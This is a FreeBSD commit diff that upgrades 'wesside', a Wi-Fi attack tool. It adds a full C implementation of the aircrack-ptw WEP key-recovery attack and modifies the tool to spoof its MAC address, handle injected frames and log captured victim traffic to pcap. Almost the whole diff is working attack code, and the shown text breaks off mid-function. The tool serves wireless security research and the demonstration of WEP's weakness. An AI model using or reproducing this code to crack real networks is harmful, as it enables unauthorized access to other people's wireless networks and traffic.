Due to the recent "aircrack-ptw" WEP cracking discovery, I thought
that it might be worth fixing a couple of bugs in wesside and making it use the new cracking technique. I think this enhancement makes the tool quite usable. It is possible to recover keys in only a couple of minutes. * Fix ACKs. Firmware will ACK data [just set the MAC addr correctly]. * Fix RX routines. Process all packets read(). * Use aircrack-ptw [built-in] rather than external aircrack. * Log data in pcap format so that it may be used by others [e.g. aircrack-ng]. Submitted by: Andrea Bittau <a.bittau@cs.ucl.ac.uk>
This commit is contained in:
parent
f27a14650f
commit
619f257be1
@ -6,5 +6,6 @@ DPADD= ${LIBZ}
|
||||
LDADD= -lz
|
||||
CFLAGS=-g
|
||||
NO_MAN=
|
||||
SRCS=wesside.c aircrack-ptw-lib.c
|
||||
|
||||
.include <bsd.prog.mk>
|
||||
|
488
tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.c
Normal file
488
tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.c
Normal file
@ -0,0 +1,488 @@
|
||||
/*-
|
||||
* Copyright (c) 2007, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD$
|
||||
*/
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include "aircrack-ptw-lib.h"
|
||||
|
||||
|
||||
#define n PTW_n
|
||||
#define CONTROLSESSIONS PTW_CONTROLSESSIONS
|
||||
#define KEYHSBYTES PTW_KEYHSBYTES
|
||||
#define KSBYTES PTW_KSBYTES
|
||||
#define IVBYTES PTW_IVBYTES
|
||||
#define TESTBYTES 6
|
||||
|
||||
|
||||
// Internal state of rc4
|
||||
typedef struct {
|
||||
uint8_t i;
|
||||
uint8_t j;
|
||||
uint8_t s[n];
|
||||
} rc4state;
|
||||
|
||||
|
||||
// Helper structures for sorting
|
||||
typedef struct {
|
||||
int keybyte;
|
||||
uint8_t value;
|
||||
int distance;
|
||||
} sorthelper;
|
||||
|
||||
typedef struct {
|
||||
int keybyte;
|
||||
double difference;
|
||||
} doublesorthelper;
|
||||
|
||||
// The rc4 initial state, the idendity permutation
|
||||
static const uint8_t rc4initial[] =
|
||||
{0,1,2,3,4,5,6,7,8,9,10,
|
||||
11,12,13,14,15,16,17,18,19,20,
|
||||
21,22,23,24,25,26,27,28,29,30,
|
||||
31,32,33,34,35,36,37,38,39,40,
|
||||
41,42,43,44,45,46,47,48,49,50,
|
||||
51,52,53,54,55,56,57,58,59,60,
|
||||
61,62,63,64,65,66,67,68,69,70,
|
||||
71,72,73,74,75,76,77,78,79,80,
|
||||
81,82,83,84,85,86,87,88,89,90,
|
||||
91,92,93,94,95,96,97,98,99,100,
|
||||
101,102,103,104,105,106,107,108,109,110,
|
||||
111,112,113,114,115,116,117,118,119,120,
|
||||
121,122,123,124,125,126,127,128,129,130,
|
||||
131,132,133,134,135,136,137,138,139,140,
|
||||
141,142,143,144,145,146,147,148,149,150,
|
||||
151,152,153,154,155,156,157,158,159,160,
|
||||
161,162,163,164,165,166,167,168,169,170,
|
||||
171,172,173,174,175,176,177,178,179,180,
|
||||
181,182,183,184,185,186,187,188,189,190,
|
||||
191,192,193,194,195,196,197,198,199,200,
|
||||
201,202,203,204,205,206,207,208,209,210,
|
||||
211,212,213,214,215,216,217,218,219,220,
|
||||
221,222,223,224,225,226,227,228,229,230,
|
||||
231,232,233,234,235,236,237,238,239,240,
|
||||
241,242,243,244,245,246,247,248,249,250,
|
||||
251,252,253,254,255};
|
||||
|
||||
|
||||
// Values for p_correct_i
|
||||
static const double eval[] = {
|
||||
0.00534392069257663,
|
||||
0.00531787585068872,
|
||||
0.00531345769225911,
|
||||
0.00528812219217898,
|
||||
0.00525997750378221,
|
||||
0.00522647312237696,
|
||||
0.00519132541143668,
|
||||
0.0051477139367225,
|
||||
0.00510438884847959,
|
||||
0.00505484662057323,
|
||||
0.00500502783556246,
|
||||
0.00495094196451801,
|
||||
0.0048983441590402};
|
||||
|
||||
// For sorting
|
||||
static int compare(const void * ina, const void * inb) {
|
||||
PTW_tableentry * a = (PTW_tableentry * )ina;
|
||||
PTW_tableentry * b = (PTW_tableentry * )inb;
|
||||
if (a->votes > b->votes) {
|
||||
return -1;
|
||||
} else if (a->votes == b->votes) {
|
||||
return 0;
|
||||
} else {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
// For sorting
|
||||
static int comparedoublesorthelper(const void * ina, const void * inb) {
|
||||
doublesorthelper * a = (doublesorthelper * )ina;
|
||||
doublesorthelper * b = (doublesorthelper * )inb;
|
||||
if (a->difference > b->difference) {
|
||||
return 1;
|
||||
} else if (a->difference == b->difference) {
|
||||
return 0;
|
||||
} else {
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// RC4 key setup
|
||||
static void rc4init ( uint8_t * key, int keylen, rc4state * state) {
|
||||
int i;
|
||||
int j;
|
||||
uint8_t tmp;
|
||||
memcpy(state->s, &rc4initial, n);
|
||||
j = 0;
|
||||
for (i = 0; i < n; i++) {
|
||||
j = (j + state->s[i] + key[i % keylen]) % n;
|
||||
tmp = state->s[i];
|
||||
state->s[i] = state->s[j];
|
||||
state->s[j] = tmp;
|
||||
}
|
||||
state->i = 0;
|
||||
state->j = 0;
|
||||
}
|
||||
|
||||
// RC4 key stream generation
|
||||
static uint8_t rc4update(rc4state * state) {
|
||||
uint8_t tmp;
|
||||
uint8_t k;
|
||||
state->i++;
|
||||
state->j += state->s[state->i];
|
||||
tmp = state->s[state->i];
|
||||
state->s[state->i] = state->s[state->j];
|
||||
state->s[state->j] = tmp;
|
||||
k = state->s[state->i] + state->s[state->j];
|
||||
|
||||
return state->s[k];
|
||||
}
|
||||
|
||||
// For sorting
|
||||
static int comparesorthelper(const void * ina, const void * inb) {
|
||||
sorthelper * a = (sorthelper * ) ina;
|
||||
sorthelper * b = (sorthelper * ) inb;
|
||||
if (a->distance > b->distance) {
|
||||
return 1;
|
||||
} else if (a->distance == b->distance) {
|
||||
return 0;
|
||||
} else {
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Guess the values for sigma_i
|
||||
* iv - IV which was used for this packet
|
||||
* keystream - keystream recovered
|
||||
* result - buffer for the values of sigma_i
|
||||
* kb - how many keybytes should be guessed
|
||||
*/
|
||||
static void guesskeybytes(uint8_t * iv, uint8_t * keystream, uint8_t * result, int kb) {
|
||||
uint8_t state[n];
|
||||
uint8_t j = 0;
|
||||
uint8_t tmp;
|
||||
int i;
|
||||
int jj = IVBYTES;
|
||||
uint8_t ii;
|
||||
uint8_t s = 0;
|
||||
memcpy(state, rc4initial, n);
|
||||
for (i = 0; i < IVBYTES; i++) {
|
||||
j += state[i] + iv[i];
|
||||
tmp = state[i];
|
||||
state[i] = state[j];
|
||||
state[j] = tmp;
|
||||
}
|
||||
for (i = 0; i < kb; i++) {
|
||||
tmp = jj - keystream[jj-1];
|
||||
ii = 0;
|
||||
while(tmp != state[ii]) {
|
||||
ii++;
|
||||
}
|
||||
s += state[jj];
|
||||
ii -= (j+s);
|
||||
result[i] = ii;
|
||||
jj++;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/*
|
||||
* Is a guessed key correct?
|
||||
*/
|
||||
static int correct(PTW_attackstate * state, uint8_t * key, int keylen) {
|
||||
int i;
|
||||
int j;
|
||||
uint8_t keybuf[PTW_KSBYTES];
|
||||
rc4state rc4state;
|
||||
|
||||
for (i = 0; i < state->sessions_collected; i++) {
|
||||
memcpy(&keybuf[IVBYTES], key, keylen);
|
||||
memcpy(keybuf, state->sessions[i].iv, IVBYTES);
|
||||
rc4init(keybuf, keylen+IVBYTES, &rc4state);
|
||||
for (j = 0; j < TESTBYTES; j++) {
|
||||
if ((rc4update(&rc4state) ^ state->sessions[i].keystream[j]) != 0) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*
|
||||
* Calculate the squaresum of the errors for both distributions
|
||||
*/
|
||||
static void getdrv(PTW_tableentry orgtable[][n], int keylen, double * normal, double * ausreiser) {
|
||||
int i,j;
|
||||
int numvotes = 0;
|
||||
double e;
|
||||
double e2;
|
||||
double emax;
|
||||
double help = 0.0;
|
||||
double maxhelp = 0;
|
||||
double maxi = 0;
|
||||
for (i = 0; i < n; i++) {
|
||||
numvotes += orgtable[0][i].votes;
|
||||
}
|
||||
e = numvotes/n;
|
||||
for (i = 0; i < keylen; i++) {
|
||||
emax = eval[i] * numvotes;
|
||||
e2 = ((1.0 - eval[i])/255.0) * numvotes;
|
||||
normal[i] = 0;
|
||||
ausreiser[i] = 0;
|
||||
maxhelp = 0;
|
||||
maxi = 0;
|
||||
for (j = 0; j < n; j++) {
|
||||
if (orgtable[i][j].votes > maxhelp) {
|
||||
maxhelp = orgtable[i][j].votes;
|
||||
maxi = j;
|
||||
}
|
||||
}
|
||||
for (j = 0; j < n; j++) {
|
||||
if (j == maxi) {
|
||||
help = (1.0-orgtable[i][j].votes/emax);
|
||||
} else {
|
||||
help = (1.0-orgtable[i][j].votes/e2);
|
||||
}
|
||||
help = help*help;
|
||||
ausreiser[i] += help;
|
||||
help = (1.0-orgtable[i][j].votes/e);
|
||||
help = help*help;
|
||||
normal[i] += help;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Guess a single keybyte
|
||||
*/
|
||||
static int doRound(PTW_tableentry sortedtable[][n], int keybyte, int fixat, uint8_t fixvalue, int * searchborders, uint8_t * key, int keylen, PTW_attackstate * state, uint8_t sum, int * strongbytes) {
|
||||
int i;
|
||||
uint8_t tmp;
|
||||
if (keybyte == keylen) {
|
||||
return correct(state, key, keylen);
|
||||
} else if (strongbytes[keybyte] == 1) {
|
||||
// printf("assuming byte %d to be strong\n", keybyte);
|
||||
tmp = 3 + keybyte;
|
||||
for (i = keybyte-1; i >= 1; i--) {
|
||||
tmp += 3 + key[i] + i;
|
||||
key[keybyte] = 256-tmp;
|
||||
if(doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, (256-tmp+sum)%256, strongbytes) == 1) {
|
||||
printf("hit with strongbyte for keybyte %d\n", keybyte);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
} else if (keybyte == fixat) {
|
||||
key[keybyte] = fixvalue-sum;
|
||||
return doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, fixvalue, strongbytes);
|
||||
} else {
|
||||
for (i = 0; i < searchborders[keybyte]; i++) {
|
||||
key[keybyte] = sortedtable[keybyte][i].b - sum;
|
||||
if (doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, sortedtable[keybyte][i].b, strongbytes) == 1) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Do the actual computation of the key
|
||||
*/
|
||||
static int doComputation(PTW_attackstate * state, uint8_t * key, int keylen, PTW_tableentry table[][n], sorthelper * sh2, int * strongbytes, int keylimit) {
|
||||
int i,j;
|
||||
int choices[KEYHSBYTES];
|
||||
int prod;
|
||||
int fixat;
|
||||
int fixvalue;
|
||||
|
||||
for (i = 0; i < keylen; i++) {
|
||||
if (strongbytes[i] == 1) {
|
||||
choices[i] = i;
|
||||
} else {
|
||||
choices[i] = 1;
|
||||
}
|
||||
}
|
||||
i = 0;
|
||||
prod = 0;
|
||||
fixat = -1;
|
||||
fixvalue = 0;
|
||||
|
||||
while(prod < keylimit) {
|
||||
if (doRound(table, 0, fixat, fixvalue, choices, key, keylen, state, 0, strongbytes) == 1) {
|
||||
// printf("hit with %d choices\n", prod);
|
||||
return 1;
|
||||
}
|
||||
choices[sh2[i].keybyte]++;
|
||||
fixat = sh2[i].keybyte;
|
||||
// printf("choices[%d] is now %d\n", sh2[i].keybyte, choices[sh2[i].keybyte]);
|
||||
fixvalue = sh2[i].value;
|
||||
prod = 1;
|
||||
for (j = 0; j < keylen; j++) {
|
||||
prod *= choices[j];
|
||||
}
|
||||
do {
|
||||
i++;
|
||||
} while (strongbytes[sh2[i].keybyte] == 1);
|
||||
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Guess which key bytes could be strong and start actual computation of the key
|
||||
*/
|
||||
int PTW_computeKey(PTW_attackstate * state, uint8_t * keybuf, int keylen, int testlimit) {
|
||||
int strongbytes[KEYHSBYTES];
|
||||
double normal[KEYHSBYTES];
|
||||
double ausreisser[KEYHSBYTES];
|
||||
doublesorthelper helper[KEYHSBYTES];
|
||||
int simple, onestrong, twostrong;
|
||||
int i,j;
|
||||
|
||||
onestrong = (testlimit/10)*2;
|
||||
twostrong = (testlimit/10)*1;
|
||||
simple = testlimit - onestrong - twostrong;
|
||||
|
||||
PTW_tableentry (*table)[n] = alloca(sizeof(PTW_tableentry) * n * keylen);
|
||||
if (table == NULL) {
|
||||
printf("could not allocate memory\n");
|
||||
exit(-1);
|
||||
}
|
||||
memcpy(table, state->table, sizeof(PTW_tableentry) * n * keylen);
|
||||
|
||||
// now, sort the table
|
||||
for (i = 0; i < keylen; i++) {
|
||||
qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare);
|
||||
strongbytes[i] = 0;
|
||||
}
|
||||
|
||||
sorthelper (* sh)[n-1] = alloca(sizeof(sorthelper) * (n-1) * keylen);
|
||||
if (sh == NULL) {
|
||||
printf("could not allocate memory\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
|
||||
for (i = 0; i < keylen; i++) {
|
||||
for (j = 1; j < n; j++) {
|
||||
sh[i][j-1].distance = table[i][0].votes - table[i][j].votes;
|
||||
sh[i][j-1].value = table[i][j].b;
|
||||
sh[i][j-1].keybyte = i;
|
||||
}
|
||||
}
|
||||
qsort(sh, (n-1)*keylen, sizeof(sorthelper), &comparesorthelper);
|
||||
|
||||
|
||||
if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, simple)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Now one strong byte
|
||||
getdrv(state->table, keylen, normal, ausreisser);
|
||||
for (i = 0; i < keylen-1; i++) {
|
||||
helper[i].keybyte = i+1;
|
||||
helper[i].difference = normal[i+1] - ausreisser[i+1];
|
||||
}
|
||||
qsort(helper, keylen-1, sizeof(doublesorthelper), &comparedoublesorthelper);
|
||||
strongbytes[helper[0].keybyte] = 1;
|
||||
if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, onestrong)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
// two strong bytes
|
||||
strongbytes[helper[1].keybyte] = 1;
|
||||
if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, twostrong)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Add a new session to the attack
|
||||
* state - state of attack
|
||||
* iv - IV used in the session
|
||||
* keystream - recovered keystream from the session
|
||||
*/
|
||||
int PTW_addsession(PTW_attackstate * state, uint8_t * iv, uint8_t * keystream) {
|
||||
int i;
|
||||
int il;
|
||||
int ir;
|
||||
uint8_t buf[PTW_KEYHSBYTES];
|
||||
|
||||
i = (iv[0] << 16) | (iv[1] << 8) | (iv[2]);
|
||||
il = i/8;
|
||||
ir = 1 << (i%8);
|
||||
if ((state->seen_iv[il] & ir) == 0) {
|
||||
state->packets_collected++;
|
||||
state->seen_iv[il] |= ir;
|
||||
guesskeybytes(iv, keystream, buf, PTW_KEYHSBYTES);
|
||||
for (i = 0; i < KEYHSBYTES; i++) {
|
||||
state->table[i][buf[i]].votes++;
|
||||
}
|
||||
if (state->sessions_collected < CONTROLSESSIONS) {
|
||||
memcpy(state->sessions[state->sessions_collected].iv, iv, IVBYTES);
|
||||
memcpy(state->sessions[state->sessions_collected].keystream, keystream, KSBYTES);
|
||||
state->sessions_collected++;
|
||||
}
|
||||
return 1;
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Allocate a new attackstate
|
||||
*/
|
||||
PTW_attackstate * PTW_newattackstate() {
|
||||
int i,k;
|
||||
PTW_attackstate * state = NULL;
|
||||
state = malloc(sizeof(PTW_attackstate));
|
||||
if (state == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
bzero(state, sizeof(PTW_attackstate));
|
||||
for (i = 0; i < PTW_KEYHSBYTES; i++) {
|
||||
for (k = 0; k < n; k++) {
|
||||
state->table[i][k].b = k;
|
||||
}
|
||||
}
|
||||
return state;
|
||||
}
|
||||
|
||||
/*
|
||||
* Free an allocated attackstate
|
||||
*/
|
||||
void PTW_freeattackstate(PTW_attackstate * state) {
|
||||
free(state);
|
||||
return;
|
||||
}
|
||||
|
83
tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.h
Normal file
83
tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.h
Normal file
@ -0,0 +1,83 @@
|
||||
/*-
|
||||
* Copyright (c) 2007, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD$
|
||||
*/
|
||||
#include <stdint.h>
|
||||
|
||||
// Number of bytes we use for our table of seen IVs, this is (2^24)/8
|
||||
#define PTW_IVTABLELEN 2097152
|
||||
|
||||
// How many sessions do we use to check if a guessed key is correct
|
||||
// 10 seems to be a reasonable choice
|
||||
#define PTW_CONTROLSESSIONS 10
|
||||
|
||||
// The maximum possible length of the main key, 13 is the maximum for a 104 bit key
|
||||
#define PTW_KEYHSBYTES 13
|
||||
|
||||
// How long the IV is, 3 is the default value for WEP
|
||||
#define PTW_IVBYTES 3
|
||||
|
||||
// How many bytes of a keystream we collect, 16 are needed for a 104 bit key
|
||||
#define PTW_KSBYTES 16
|
||||
|
||||
// The MAGIC VALUE!!
|
||||
#define PTW_n 256
|
||||
|
||||
// We use this to keep track of the outputs of A_i
|
||||
typedef struct {
|
||||
// How often the value b appeard as an output of A_i
|
||||
int votes;
|
||||
|
||||
uint8_t b;
|
||||
} PTW_tableentry;
|
||||
|
||||
// A recovered session
|
||||
typedef struct {
|
||||
// The IV used in this session
|
||||
uint8_t iv[PTW_IVBYTES];
|
||||
// The keystream used in this session
|
||||
uint8_t keystream[PTW_KSBYTES];
|
||||
} PTW_session;
|
||||
|
||||
// The state of an attack
|
||||
// You should usually never modify these values manually
|
||||
typedef struct {
|
||||
// How many unique packets or IVs have been collected
|
||||
int packets_collected;
|
||||
// Table to check for duplicate IVs
|
||||
uint8_t seen_iv[PTW_IVTABLELEN];
|
||||
// How many sessions for checking a guessed key have been collected
|
||||
int sessions_collected;
|
||||
// The actual recovered sessions
|
||||
PTW_session sessions[PTW_CONTROLSESSIONS];
|
||||
// The table with votes for the keybytesums
|
||||
PTW_tableentry table[PTW_KEYHSBYTES][PTW_n];
|
||||
} PTW_attackstate;
|
||||
|
||||
PTW_attackstate * PTW_newattackstate();
|
||||
void PTW_freeattackstate(PTW_attackstate *);
|
||||
int PTW_addsession(PTW_attackstate *, uint8_t *, uint8_t *);
|
||||
int PTW_computeKey(PTW_attackstate *, uint8_t *, int, int);
|
@ -43,6 +43,9 @@
|
||||
#include <signal.h>
|
||||
#include <stdarg.h>
|
||||
#include <err.h>
|
||||
#include <pcap.h>
|
||||
|
||||
#include "aircrack-ptw-lib.h"
|
||||
|
||||
#define FIND_VICTIM 0
|
||||
#define FOUND_VICTIM 1
|
||||
@ -104,11 +107,15 @@ struct wep_log {
|
||||
unsigned char iv[3];
|
||||
} weplog;
|
||||
|
||||
#define LINKTYPE_IEEE802_11 105
|
||||
#define TCPDUMP_MAGIC 0xA1B2C3D4
|
||||
|
||||
unsigned char* floodip = 0;
|
||||
unsigned short floodport = 6969;
|
||||
unsigned short floodsport = 53;
|
||||
|
||||
unsigned char* netip = 0;
|
||||
int netip_arg = 0;
|
||||
|
||||
unsigned char* rtrmac = 0;
|
||||
|
||||
@ -118,6 +125,8 @@ unsigned char myip[16] = "192.168.0.123";
|
||||
int bits = 0;
|
||||
int ttl_val = 0;
|
||||
|
||||
PTW_attackstate *ptw;
|
||||
|
||||
unsigned char *victim_mac = 0;
|
||||
|
||||
int ack_timeout = 100*1000;
|
||||
@ -125,10 +134,14 @@ int ack_timeout = 100*1000;
|
||||
#define ARPLEN (8+ 8 + 20)
|
||||
unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
|
||||
unsigned char ip_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
|
||||
#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
|
||||
#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
|
||||
#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
|
||||
|
||||
#define MCAST_PREF "\x01\x00\x5e\x00\x00"
|
||||
|
||||
#define WEP_FILE "wep.log"
|
||||
#define WEP_FILE "wep.cap"
|
||||
#define KEY_FILE "key.log"
|
||||
#define PRGA_FILE "prga.log"
|
||||
|
||||
unsigned int min_prga = 128;
|
||||
@ -141,12 +154,14 @@ unsigned int min_prga = 128;
|
||||
*/
|
||||
#define CRACK_LOCAL_CMD "../aircrack/aircrack"
|
||||
#define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
|
||||
int thresh_incr = 100000;
|
||||
|
||||
#define INCR 30000
|
||||
int thresh_incr = INCR;
|
||||
|
||||
#define MAGIC_TTL_PAD 69
|
||||
|
||||
int crack_dur = 60;
|
||||
int wep_thresh = 100000;
|
||||
int wep_thresh = INCR;
|
||||
int crack_pid = 0;
|
||||
struct timeval crack_start;
|
||||
struct timeval real_start;
|
||||
@ -248,7 +263,7 @@ void check_key() {
|
||||
int rd;
|
||||
struct timeval now;
|
||||
|
||||
fd = open("key.log", O_RDONLY);
|
||||
fd = open(KEY_FILE, O_RDONLY);
|
||||
|
||||
if (fd == -1) {
|
||||
return;
|
||||
@ -320,6 +335,31 @@ void set_chan(int c) {
|
||||
chaninfo.chan = c;
|
||||
}
|
||||
|
||||
void set_if_mac(unsigned char* mac, unsigned char *name) {
|
||||
int s;
|
||||
struct ifreq ifr;
|
||||
|
||||
s = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
if (s == -1) {
|
||||
perror("socket()");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
memset(&ifr, 0, sizeof(ifr));
|
||||
strcpy(ifr.ifr_name, name);
|
||||
|
||||
ifr.ifr_addr.sa_family = AF_LINK;
|
||||
ifr.ifr_addr.sa_len = 6;
|
||||
memcpy(ifr.ifr_addr.sa_data, mac, 6);
|
||||
|
||||
if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
|
||||
perror("ioctl(SIOCSIFLLADDR)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
close(s);
|
||||
}
|
||||
|
||||
void setup_if(char *dev) {
|
||||
int s;
|
||||
struct ifreq ifr;
|
||||
@ -334,6 +374,8 @@ void setup_if(char *dev) {
|
||||
|
||||
time_print("Setting up %s... ", dev);
|
||||
fflush(stdout);
|
||||
|
||||
set_if_mac(mymac, dev);
|
||||
|
||||
s = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
if (s == -1) {
|
||||
@ -516,7 +558,7 @@ void send_frame(int tx, unsigned char* buf, int len) {
|
||||
time_print("ERROR Max retransmists for (%d bytes):\n",
|
||||
lastlen);
|
||||
hexdump(&lame[0], lastlen);
|
||||
exit(1);
|
||||
// exit(1);
|
||||
}
|
||||
len = lastlen;
|
||||
// printf("Warning doing a retransmit...\n");
|
||||
@ -752,28 +794,8 @@ int get_victim_ssid(struct ieee80211_frame* wh, int len) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// XXX: acks don't work for now... too slow!
|
||||
void send_ack(int tx) {
|
||||
unsigned char buf[64];
|
||||
struct ieee80211_frame* wh;
|
||||
|
||||
return;
|
||||
|
||||
wh = (struct ieee80211_frame*) &buf[0];
|
||||
|
||||
memset(buf, 0, sizeof(buf));
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_CTL | IEEE80211_FC0_SUBTYPE_ACK;
|
||||
memcpy(wh->i_addr1, victim.bss, 6);
|
||||
|
||||
inject(tx, buf, 10);
|
||||
#if 0
|
||||
{
|
||||
struct timeval tv;
|
||||
gettimeofday(&tv, NULL);
|
||||
|
||||
printf("sent ack %lu.%lu\n", tv.tv_sec, tv.tv_usec);
|
||||
}
|
||||
#endif
|
||||
/* firmware acks */
|
||||
}
|
||||
|
||||
void do_llc(unsigned char* buf, unsigned short type) {
|
||||
@ -1209,26 +1231,28 @@ void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
|
||||
time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
|
||||
}
|
||||
|
||||
void log_wep(unsigned char* body, int len) {
|
||||
unsigned char log[5];
|
||||
void log_wep(struct ieee80211_frame* wh, int len) {
|
||||
int rd;
|
||||
struct pcap_pkthdr pkh;
|
||||
struct timeval tv;
|
||||
unsigned char *body = (unsigned char*) (wh+1);
|
||||
|
||||
if (body[3] != 0) {
|
||||
time_print("Key index=%x!!\n", body[3]);
|
||||
exit(1);
|
||||
}
|
||||
memset(&pkh, 0, sizeof(pkh));
|
||||
pkh.caplen = pkh.len = len;
|
||||
if (gettimeofday(&tv, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
pkh.ts = tv;
|
||||
if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
|
||||
err(1, "write()");
|
||||
|
||||
memcpy(log, body, 3);
|
||||
memcpy(&log[3], &body[4], 2);
|
||||
|
||||
rd = write(weplog.fd, log, sizeof(log));
|
||||
rd = write(weplog.fd, wh, len);
|
||||
|
||||
if (rd == -1) {
|
||||
perror("write()");
|
||||
exit(1);
|
||||
}
|
||||
if (rd != sizeof(log)) {
|
||||
time_print("short write %d out of %d\n", rd, sizeof(log));
|
||||
if (rd != len) {
|
||||
time_print("short write %d out of %d\n", rd, len);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
@ -1337,10 +1361,107 @@ void try_dictionary(struct ieee80211_frame* wh, int len) {
|
||||
}
|
||||
}
|
||||
|
||||
int is_arp(struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
int arpsize = 8 + sizeof(struct arphdr) + 10*2;
|
||||
|
||||
if (len == arpsize || len == 54)
|
||||
return 1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void *get_sa(struct ieee80211_frame *wh)
|
||||
{
|
||||
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
|
||||
